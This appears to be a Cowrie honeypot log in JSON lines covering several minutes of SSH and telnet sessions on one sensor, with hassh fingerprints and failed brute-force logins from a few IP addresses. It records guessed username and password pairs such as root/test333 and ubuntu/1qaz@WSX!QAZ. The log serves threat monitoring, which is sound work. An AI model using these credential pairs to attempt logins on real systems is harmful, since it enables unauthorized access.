{"eventid":"cowrie.login.failed","username":"root","password":"test333","message":"login attempt [root/test333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:44:50.174472Z","src_ip":"211.254.212.59","session":"0100ee176d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:44:51.373749Z","src_ip":"211.254.212.59","session":"0100ee176d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.82345414161682,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:09.055991Z","src_ip":"104.251.180.238","session":"e807f592ebdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":33935,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bb83aa064a7","protocol":"ssh","message":"New connection: 2.57.121.112:33935 (10.17.0.5:22) [session: 8bb83aa064a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:16.941590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:16.947726Z","src_ip":"2.57.121.112","session":"8bb83aa064a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:17.058302Z","src_ip":"2.57.121.112","session":"8bb83aa064a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"saba","message":"login attempt [admin/saba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:17.554831Z","src_ip":"2.57.121.112","session":"8bb83aa064a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ryan1","message":"login attempt [admin/ryan1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:18.664894Z","src_ip":"2.57.121.112","session":"8bb83aa064a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rutland","message":"login attempt [admin/rutland] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:19.776691Z","src_ip":"2.57.121.112","session":"8bb83aa064a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rulesyou","message":"login attempt [admin/rulesyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:20.885807Z","src_ip":"2.57.121.112","session":"8bb83aa064a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rtynfdh","message":"login attempt [admin/rtynfdh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:21.994219Z","src_ip":"2.57.121.112","session":"8bb83aa064a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:23.104078Z","src_ip":"2.57.121.112","session":"8bb83aa064a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":58314,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cfb58c208db","protocol":"ssh","message":"New connection: 211.254.212.59:58314 (10.17.0.5:22) [session: 7cfb58c208db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:47.630620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:47.635720Z","src_ip":"211.254.212.59","session":"7cfb58c208db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:47.836682Z","src_ip":"211.254.212.59","session":"7cfb58c208db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver4","password":"gmodserver4","message":"login attempt [gmodserver4/gmodserver4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:48.671463Z","src_ip":"211.254.212.59","session":"7cfb58c208db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:49.875047Z","src_ip":"211.254.212.59","session":"7cfb58c208db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":33920,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e7dc04fbe8d","protocol":"ssh","message":"New connection: 80.94.92.186:33920 (10.17.0.5:22) [session: 7e7dc04fbe8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:49.930326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:50.081726Z","src_ip":"80.94.92.186","session":"7e7dc04fbe8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:50.086373Z","src_ip":"80.94.92.186","session":"7e7dc04fbe8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol@123","message":"login attempt [sol/sol@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:51.720733Z","src_ip":"80.94.92.186","session":"7e7dc04fbe8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:45:52.967118Z","src_ip":"80.94.92.186","session":"7e7dc04fbe8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":46924,"dst_ip":"10.17.0.5","dst_port":22,"session":"976374a08def","protocol":"ssh","message":"New connection: 211.254.212.59:46924 (10.17.0.5:22) [session: 976374a08def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:46:43.486088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:46:43.490734Z","src_ip":"211.254.212.59","session":"976374a08def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:46:43.693699Z","src_ip":"211.254.212.59","session":"976374a08def","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"welcome","message":"login attempt [user1/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:46:44.539221Z","src_ip":"211.254.212.59","session":"976374a08def","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:46:45.746035Z","src_ip":"211.254.212.59","session":"976374a08def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":35532,"dst_ip":"10.17.0.5","dst_port":22,"session":"c20eb6f8841d","protocol":"ssh","message":"New connection: 211.254.212.59:35532 (10.17.0.5:22) [session: c20eb6f8841d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:47:40.498513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:47:40.502836Z","src_ip":"211.254.212.59","session":"c20eb6f8841d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:47:40.706494Z","src_ip":"211.254.212.59","session":"c20eb6f8841d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX!QAZ","message":"login attempt [ubuntu/1qaz@WSX!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:47:41.546160Z","src_ip":"211.254.212.59","session":"c20eb6f8841d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:47:42.751217Z","src_ip":"211.254.212.59","session":"c20eb6f8841d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":52372,"dst_ip":"10.17.0.5","dst_port":22,"session":"96c5671b3706","protocol":"ssh","message":"New connection: 211.254.212.59:52372 (10.17.0.5:22) [session: 96c5671b3706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:48:36.240942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:48:36.245514Z","src_ip":"211.254.212.59","session":"96c5671b3706","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:48:36.454563Z","src_ip":"211.254.212.59","session":"96c5671b3706","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"a","message":"login attempt [kafka/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:48:37.310835Z","src_ip":"211.254.212.59","session":"96c5671b3706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:48:38.522699Z","src_ip":"211.254.212.59","session":"96c5671b3706","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":36600,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ae4af1fc419","protocol":"ssh","message":"New connection: 80.94.92.186:36600 (10.17.0.5:22) [session: 3ae4af1fc419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:49:17.494413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:49:17.674309Z","src_ip":"80.94.92.186","session":"3ae4af1fc419","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:49:17.678463Z","src_ip":"80.94.92.186","session":"3ae4af1fc419","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:49:19.970916Z","src_ip":"80.94.92.186","session":"3ae4af1fc419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:49:21.686219Z","src_ip":"80.94.92.186","session":"3ae4af1fc419","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":40982,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d8bc2a5ce0c","protocol":"ssh","message":"New connection: 211.254.212.59:40982 (10.17.0.5:22) [session: 7d8bc2a5ce0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:49:32.946618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:49:32.950545Z","src_ip":"211.254.212.59","session":"7d8bc2a5ce0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:49:33.149131Z","src_ip":"211.254.212.59","session":"7d8bc2a5ce0c","protocol":"ssh"}
